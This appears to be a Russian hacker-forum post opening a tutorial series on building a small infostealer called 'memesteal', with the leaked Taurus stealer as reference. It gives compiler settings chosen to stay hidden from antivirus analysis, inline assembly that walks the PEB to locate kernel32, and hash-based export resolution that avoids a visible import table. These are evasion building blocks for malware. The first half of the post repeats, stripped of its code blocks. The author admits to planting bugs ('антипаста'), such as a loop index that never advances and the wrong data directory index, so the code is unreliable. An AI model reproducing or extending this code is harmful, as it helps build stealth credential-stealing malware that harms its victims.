я решил начать писать свой стиллачок под коднеймом memesteal - буду в него закидывать всякую интересную всячину по мере того, как будет желание
яп - С++ без STL и CRT, так что можно сказать что обычный C; x86
цель - написать что-то интересное, мб показать как делать стиллеры не на ~700кб
вообще не обещаю, что это дойдет до второй части
ну что, начнем
1. настройка проекта
я хочу, чтобы моя EXE вышла максимально легкой, по этому я выставляю в проект визуалстудио следующие параметры -
в Release x32:
в разделе C/C++ отключаю проверки стека, SDL, включаю максимальную оптимизацию (приоритет размера) /o1, отключаю проверку безопасности(GS), выключаю C++ исключения, выключаю предварительно скомпилированные заголовки.
в разделе Компоновщик включаю игнорирование всех стандартных библиотек, отключаю создание манифеста, полностью отключаю создание отладочных символов, заранее вписываю свою точку входа entry (зачем это делать объясню потом), отключаю "Образ имеет безопасных обработчиков исключений".
так-же добавляю в командную строку линкера - /LTCG /NOCOFFGRPINFO
вроде бы все..
сразу предупреждаю - писать такой код труднее как и отлаживать его - скорее всего придется использовать что-то на подобии x32dbg или windbg(для хардкорщиков)
в main.cpp удаляю вообще все, вписываем следующий код
возможно у вас появится вопрос - зачем мне нужна своя точка входа?
ответ - если я не поставлю свою точку входа, то MSVC компилятор пихнет мне в файл иницилизацию CRT, что добавит веса и функций со строками
зачем полностью отключать инфу об отладке?
я пишу ВПО, я не хочу чтобы какой-то авер при загрузке моего файла в ИДУ увидел имя моего юзера и название проекта + это добавляет лишние строки в файл и локальные типы
какие ограничения у такого кода?
нельзя инклюдить файлы типа windows.h cstdint, time и прочие
мне не будут доступны обычные std классы типа: vector, map, string и пр (если конечно не переопределять операторы, но об этом потом)
у меня не будет адекватного exception хендлера(ошибка в коде приведет к крашу 100 из 100) <- тоже кстати фиксится, но об этом тоже не сейчас
я не смогу вызывать такие операторы как new / delete[] <-- будем их переопределять на свои функции-прокладки
мне будут не доступны конструкторы и деструкторы классов <-- просто будем писать код без классов)
ну и ладно, черт с ними с этими ограничениями, ведь у меня на руках есть сурс Taurus стилера как рабочий референс того, что я хочу по итогу написать
сразу скажу, что это не будет прямо пошаговый гайд на то, как сделать свой стиллер и продавать его за тысячу евробаксов в месяц лохам по слотам - додумывайте код своей башкой
наверное, я начну с того, что скомпилирую пустой проект и кину его в иду (вы должны иметь +- похожий результат)
как видим - строки, импорты и локальные типы полностью отсутствуют
классно, это именно то, чего я и хотел
2. начнем царапать СДК
создаю скелет проекта, в моем случае memesteal, в него я добавляю пока что пустые фильтры modules, utils, внутри utils создаем crt
в memesteal создаю memesteal.cpp и memesteal.h
потом создаю неймспейс memesteal, в .h декларирую void main()
добавляю в main.cpp инклюд memesteal.h и вызов memesteal::main();
потом создаю crt.cpp и crt.h
в crt.h создаю неймспейс memesteal::utils::crt
Очевидно из-за того, что я не могу заинклюдить Windows.h, значит и адекватно функции вызывать я не смогу
сейчас я объясню концепцию того, как вызывать какие либо экспорты aka WinAPI без CRT или STL
для того, чтобы вызвать что-то мне нужно:
1. хендл на модуль из которого мы будем брать экспорт
2. имя искомого экспорта
3. определение API, которое я хочу вызвать - их я буду хранить в неймспейсе prototypes
обращаемся к коду тауруса, кодер которого уже показал как получить хендл на kernel32.dll без использования каких либо вызовов к WinAPIшкам
код сверху работает, так что мое объяснение вы можете пропустить и просто спастить его
первая инструкция передвигает в EAX указатель на PEB, который в X32 приложениях лежит по 0x30, а в X64 приложениях он будет по адресу 0x60
^^в си++ коде это будет выглядеть вот так:
Для того, чтобы понять, что делает вторая инструкция в этом коде мне придется зайти на сайт, где показаны все структуры Windows
захожу на https://www.vergiliusproject.com/
Нажимаем на кнопку "Explore kernels!"
т.к пишу под X32, то выбираем X86
После того, как я нажал на кнопку X86 перед мной вылезает список версий винды - я выбрал самую последнюю доступную( 22H2 (2022 Update, Vibranium R5) )
после чего мне выпадает уже список всех нужных мне структур...
вписываю PEB - как то, что я прочитал по fs + 0x30
захожу в _PEB и вижу, что по оффсету 0xC лежит следующий указатель:
значит, что этой инструкцией я получил адрес на структуру Ldr внутри PEB
смотрю что лежит уже в Ldr по оффсету 0xC и вижу это:
в общем, это простой парс всех модулей внутри процесса, а так как kernel32 имеет статический индекс в этой структуре, то указатель на kernel32 можно распарсить именно этим кодом
тааак, я получил указатель на kernel32, но чтобы распарсить все экспорты kernel32 и их указатели, мне нужен будет уже другой код, за которым я конечно же обращусь к сурсам тауруса
я уже подфиксил и чуток укоротил эту функцию, и по этому просто закину сюда код того, что получилось
в коде сверху есть очень смешная антипаста, пожалуйста если пофиксите, то не постите как, а если не можете понять, то открывайте сурсы тауруса и сравнивайте 1:1
как вы видите, я тут уже добавил структуры и crc32 хэш и типы
структуры можно взять спастить с project-vergilius - они там идут уже в copy & paste СИшном формате структур
если вкратце, то эта функция парсит указатель на DLL внутри процесса как структуру, потом из этой структуры достает все экспорты, а потом просто парсит все экспорты модуля и хеширует их - если хэш совпал с тем, что я передал вторым аргументом в функцию, то мы топаем дальше
код после if (addr > ...) должен будет распарсить имя DLL и потом просто применить GetProcAddress
для того, чтобы вышеуказанная строка кода работала, перед тем, как вызывать get_proc_addr нам нужно сделать функцию, которая иницилизирует ptr_LoadLibraryA и ptr_GetProcAddress внутри неймспейса prototypes:
типы можно просто скопировать и вставить в другой файлик прямиком из cstdint
пока что все
после компиляции всего это дела уже с GetProcAddress функцией у меня вышел файл размером в 4 кб
и это уже можно будет использовать как базу для простенького стиллера =)
яп - С++ без STL и CRT, так что можно сказать что обычный C; x86
цель - написать что-то интересное, мб показать как делать стиллеры не на ~700кб
вообще не обещаю, что это дойдет до второй части
ну что, начнем
1. настройка проекта
я хочу, чтобы моя EXE вышла максимально легкой, по этому я выставляю в проект визуалстудио следующие параметры -
в Release x32:
в разделе C/C++ отключаю проверки стека, SDL, включаю максимальную оптимизацию (приоритет размера) /o1, отключаю проверку безопасности(GS), выключаю C++ исключения, выключаю предварительно скомпилированные заголовки.
в разделе Компоновщик включаю игнорирование всех стандартных библиотек, отключаю создание манифеста, полностью отключаю создание отладочных символов, заранее вписываю свою точку входа entry (зачем это делать объясню потом), отключаю "Образ имеет безопасных обработчиков исключений".
так-же добавляю в командную строку линкера - /LTCG /NOCOFFGRPINFO
вроде бы все..
сразу предупреждаю - писать такой код труднее как и отлаживать его - скорее всего придется использовать что-то на подобии x32dbg или windbg(для хардкорщиков)
в main.cpp удаляю вообще все, вписываем следующий код
C++:
int entry( )
{
}
возможно у вас появится вопрос - зачем мне нужна своя точка входа?
ответ - если я не поставлю свою точку входа, то MSVC компилятор пихнет мне в файл иницилизацию CRT, что добавит веса и функций со строками
зачем полностью отключать инфу об отладке?
я пишу ВПО, я не хочу чтобы какой-то авер при загрузке моего файла в ИДУ увидел имя моего юзера и название проекта + это добавляет лишние строки в файл и локальные типы
какие ограничения у такого кода?
нельзя инклюдить файлы типа windows.h cstdint, time и прочие
мне не будут доступны обычные std классы типа: vector, map, string и пр (если конечно не переопределять операторы, но об этом потом)
у меня не будет адекватного exception хендлера(ошибка в коде приведет к крашу 100 из 100) <- тоже кстати фиксится, но об этом тоже не сейчас
я не смогу вызывать такие операторы как new / delete[] <-- будем их переопределять на свои функции-прокладки
мне будут не доступны конструкторы и деструкторы классов <-- просто будем писать код без классов)
ну и ладно, черт с ними с этими ограничениями, ведь у меня на руках есть сурс Taurus стилера как рабочий референс того, что я хочу по итогу написать
сразу скажу, что это не будет прямо пошаговый гайд на то, как сделать свой стиллер и продавать его за тысячу евробаксов в месяц лохам по слотам - додумывайте код своей башкой
наверное, я начну с того, что скомпилирую пустой проект и кину его в иду (вы должны иметь +- похожий результат)
как видим - строки, импорты и локальные типы полностью отсутствуют
классно, это именно то, чего я и хотел
2. начнем царапать СДК
создаю скелет проекта, в моем случае memesteal, в него я добавляю пока что пустые фильтры modules, utils, внутри utils создаем crt
в memesteal создаю memesteal.cpp и memesteal.h
потом создаю неймспейс memesteal, в .h декларирую void main()
добавляю в main.cpp инклюд memesteal.h и вызов memesteal::main();
потом создаю crt.cpp и crt.h
в crt.h создаю неймспейс memesteal::utils::crt
Очевидно из-за того, что я не могу заинклюдить Windows.h, значит и адекватно функции вызывать я не смогу
сейчас я объясню концепцию того, как вызывать какие либо экспорты aka WinAPI без CRT или STL
для того, чтобы вызвать что-то мне нужно:
1. хендл на модуль из которого мы будем брать экспорт
2. имя искомого экспорта
3. определение API, которое я хочу вызвать - их я буду хранить в неймспейсе prototypes
обращаемся к коду тауруса, кодер которого уже показал как получить хендл на kernel32.dll без использования каких либо вызовов к WinAPIшкам
CSS:
HMODULE memesteal::crt::get_kernel32()
{
__asm
{
mov eax, fs: [0x30] //filesegment register + peb offset
mov eax, [eax + 0xC]
mov eax, [eax + 0xC]
mov eax, [eax] //
mov eax, [eax] //
mov eax, [eax + 0x18] // get kernel32
}
}
первая инструкция передвигает в EAX указатель на PEB, который в X32 приложениях лежит по 0x30, а в X64 приложениях он будет по адресу 0x60
^^в си++ коде это будет выглядеть вот так:
Код:
auto peb = __readfsdword(0x30); //x32
auto peb = __readgsqword(0x60); //x64
захожу на https://www.vergiliusproject.com/
Нажимаем на кнопку "Explore kernels!"
т.к пишу под X32, то выбираем X86
После того, как я нажал на кнопку X86 перед мной вылезает список версий винды - я выбрал самую последнюю доступную( 22H2 (2022 Update, Vibranium R5) )
после чего мне выпадает уже список всех нужных мне структур...
вписываю PEB - как то, что я прочитал по fs + 0x30
захожу в _PEB и вижу, что по оффсету 0xC лежит следующий указатель:
Код:
struct _PEB_LDR_DATA* Ldr; //0xc
смотрю что лежит уже в Ldr по оффсету 0xC и вижу это:
Код:
struct _LIST_ENTRY InLoadOrderModuleList; //0xc
тааак, я получил указатель на kernel32, но чтобы распарсить все экспорты kernel32 и их указатели, мне нужен будет уже другой код, за которым я конечно же обращусь к сурсам тауруса
я уже подфиксил и чуток укоротил эту функцию, и по этому просто закину сюда код того, что получилось
Код:
LPVOID memesteal::crt::get_proc_addr(HMODULE mod, DWORD name) {
if (mod == nullptr || name == 0)
return nullptr;
auto dos_header = reinterpret_cast<structs::IMAGE_DOS_HEADER*>(mod);
auto image_optional_header = reinterpret_cast<structs::IMAGE_OPTIONAL_HEADER32*>(
reinterpret_cast<LPVOID>(reinterpret_cast<unsigned long>(mod) +
dos_header->e_lfanew + sizeof(DWORD) + sizeof(structs::IMAGE_FILE_HEADER))
);
auto export_dir = reinterpret_cast<structs::IMAGE_EXPORT_DIRECTORY*>(
rva_to_va(mod, image_optional_header->DataDirectory[0].VirtualAddress)
);
int ordinal = -1;
DWORD* names_table = reinterpret_cast<DWORD*>(rva_to_va(mod, export_dir->AddressOfNames));
WORD* ordinal_table = reinterpret_cast<WORD*>(rva_to_va(mod, export_dir->AddressOfNameOrdinals));
for (unsigned int i = 0; i < export_dir->NumberOfNames; i++) {
char* _name = (char*)rva_to_va(mod, *names_table);
if (memesteal::utils::hash::crc32_run(_name) == name) {
ordinal = ordinal_table[i];
break;
}
// i think something really important should be here, but i forgot what
}
if (ordinal < 0)
return nullptr;
size_t exportSize = image_optional_header->DataDirectory[14].Size; // DataDirectory[0] = IMAGE_DIRECTORY_ENTRY_EXPORT
DWORD* addrTable = reinterpret_cast<DWORD*>(rva_to_va(mod, export_dir->AddressOfFunctions)); // whooopsies doopsies
unsigned long rva = addrTable[ordinal]; //
unsigned long addr = rva_to_va(mod, rva);
if (addr > reinterpret_cast<unsigned long>(export_dir) && addr < reinterpret_cast<unsigned long>(export_dir) + exportSize) {
char* s = reinterpret_cast<char*>(addr);
char name_dll[32];
int i = 0;
while (s[i] != '.' && s[i] != '\0') {
name_dll[i] = s[i];
i++;
}
s += i + 1;
name_dll[i++] = '.';
name_dll[i++] = 'd';
name_dll[i++] = 'l';
name_dll[i++] = 'l';
name_dll[i] = '\0'; // null terminate
int num = 0;
if (*s == '#') {
while (*++s) num = num * 10 + (*s - '0');
s = reinterpret_cast<char*>(&num);
}
HMODULE handle_dll = prototypes::ptr_LoadLibraryA(name_dll);
return prototypes::ptr_GetProcAddress(handle_dll, s);
}
else {
return reinterpret_cast<void*>(addr);
}
}
как вы видите, я тут уже добавил структуры и crc32 хэш и типы
структуры можно взять спастить с project-vergilius - они там идут уже в copy & paste СИшном формате структур
если вкратце, то эта функция парсит указатель на DLL внутри процесса как структуру, потом из этой структуры достает все экспорты, а потом просто парсит все экспорты модуля и хеширует их - если хэш совпал с тем, что я передал вторым аргументом в функцию, то мы топаем дальше
код после if (addr > ...) должен будет распарсить имя DLL и потом просто применить GetProcAddress
для того, чтобы вышеуказанная строка кода работала, перед тем, как вызывать get_proc_addr нам нужно сделать функцию, которая иницилизирует ptr_LoadLibraryA и ptr_GetProcAddress внутри неймспейса prototypes:
типы можно просто скопировать и вставить в другой файлик прямиком из cstdint
Код:
namespace prototypes
{
typedef HMODULE(__stdcall* proto_LoadLibraryA)(LPCSTR);
typedef FARPROC(__stdcall* proto_GetProcAddress)(HMODULE, LPCSTR);
static proto_LoadLibraryA ptr_LoadLibraryA = nullptr;
static proto_GetProcAddress ptr_GetProcAddress = nullptr;
}
Код:
void memesteal::crt::initialize_apis( )
{
HMODULE handle_kernel32 = memesteal::crt::get_kernel32();
prototypes::ptr_LoadLibraryA = ( prototypes::proto_LoadLibraryA ) memesteal::crt::get_proc_addr(handle_kernel32, CRC32_STR("LoadLibraryA"));
prototypes::ptr_GetProcAddress = ( prototypes::proto_GetProcAddress ) memesteal::crt::get_proc_addr(handle_kernel32, CRC32_STR("GetProcAddress"));
auto a = prototypes::ptr_LoadLibraryA("ntdll.dll"); // hash this later
FARPROC b = prototypes::ptr_GetProcAddress(a, "LdrGetProcedureAddres"); // hash this later
}
после компиляции всего это дела уже с GetProcAddress функцией у меня вышел файл размером в 4 кб
и это уже можно будет использовать как базу для простенького стиллера =)
Последнее редактирование: